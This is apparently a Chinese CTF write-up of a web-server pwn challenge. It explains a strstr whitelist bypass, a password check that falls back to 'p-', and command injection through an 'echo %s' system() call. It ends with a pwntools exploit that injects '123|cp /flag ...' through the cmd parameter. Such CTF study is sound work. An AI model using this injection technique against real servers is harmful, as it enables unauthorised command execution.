前言

我是菜狗,比赛场上没搞出来,赛后让pwn爹指导的

非传统pwn题,题目写了一个web服务器

如果我能多学一点web的东西是不是就能做出来了,赛场上连payload怎么写都不会

题目分析

__int64 __fastcall in_whitelist(const char *a1)
{
int i; // [rsp+1Ch] [rbp-34h]
char *needle[6]; // [rsp+20h] [rbp-30h]

needle[5] = __readfsqword(0x28u);
needle[0] = "Blue";
needle[1] = "Red";
needle[2] = "Yellow";
needle[3] = "Green";
for ( i = 0; i <= 3; ++i )
{
if ( strstr(a1, needle[i]) )
return 1LL;
}
return 0LL;
}

这里有一个白名单绕过,可以看到是strstr函数,并不是strcmp

不了解strstr这个函数,以为和strcmp是一样的

strstr函数

strstr 函数是 C 标准库中的一个字符串处理函数,它的作用是 查找一个子字符串在另一个字符串中第一次出现的位置。具体来说,strstr 会返回目标字符串中第一次出现子字符串的位置,如果未找到子字符串,则返回 NULL。

函数原型:

char *strstr(const char *haystack, const char *needle);

参数:

  • **haystack**:要搜索的目标字符串。
  • **needle**:要查找的子字符串。

返回值:

  • 如果在 haystack 中找到 needlestrstr 返回指向 haystack 中首次匹配位置的指针。
  • 如果未找到 needle,则返回 NULL

简单来说只要有这个子字符串就行,就不会返回null。

继续分析

__int64 __fastcall rep_dispatcher(const char **a1)
{
int v2; // [rsp+1Ch] [rbp-14h]
void (__fastcall *v3)(const char **); // [rsp+20h] [rbp-10h]
__int64 v4; // [rsp+28h] [rbp-8h]

v3 = 0LL;
v4 = rpm_list;
if ( !in_whitelist(*a1) )
goto LABEL_16;
if ( dword_604D10 > 0 )
{
while ( v4 )
{
v2 = strlen(*v4);
if ( !strncmp(*a1, *v4, v2) )
{
v3 = *(v4 + 8);
break;
}
v4 = *(v4 + 16);
}
}
if ( v3 )
{
v3(a1);
return 0LL;
}
else
{
LABEL_16:
if ( **a1 )
bomb1(a1);
else
index_html(a1);
return 0LL;
}
}

其中rpm_list中有我们的gift,那这样我们请求的路由就很明显了,前四个字符是gift,后面随便跟着Blue或者Red什么的都可以。

后面的gift函数里面也是唬人的。

__int64 __fastcall getPassword(const char *a1, char *a2)
{
size_t v2; // rax
int i; // [rsp+1Ch] [rbp-4h]

strcat(a2, "p-");
for ( i = 0; i <= 20; ++i )
{
v2 = strlen(((i << 7) + 6308480));
if ( !strncmp(a1, &users[128 * i], v2) )
{
strncat(a2, &users[128 * i + 64], 0x18uLL);
return 0LL;
}
}
return 1LL;
}

关键就是这里的getpassword函数,只有这个是程序算的,其他的我们都能随便绕。

很显然这里要求我们用户名和系统里的相等才会在password后面连接其他的字符串,但是我们完全不必让用户名和系统的相等,随便写一个就行了,最后password就只有p-

还有最后的getshell的地方

if ( !strcmp(s1, s2) )
{
if ( cmd )
{
fd = open("html/congratulation.html", 114);
for ( i = read(fd, &dest[n], 104857600 - n); i > 0; i = read(fd, &dest[n], 104857600 - n) )
n += i;
snprintf(command, 0xC8uLL, "echo %s", cmd);
system(command);
}
}

就是在你给的cmd前面加上一个echo,那样我们可以使用管道符来绕过这里,比如 123|

exp

pwn爹给的exp,我只是稍微改了一下

from pwn import *
context.log_level = 'debug'
ru = lambda a: io.recvuntil(a, drop=True)
r = lambda n: io.read(n)
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)
io = remote("127.0.0.1",5777)
payload = b'GET /giftBlue HTTP/1.1'
username = b'1'
password = b'p-'
token = b'token-FierceDragon25bba'
payload += b'?username='+username
payload += b'&password='+password
payload += b'&token='+token
payload += b'&cmd=123|cp /flag ./html/index.html'
s(payload)
io.interactive()

最后拿浏览器访问一下就可以了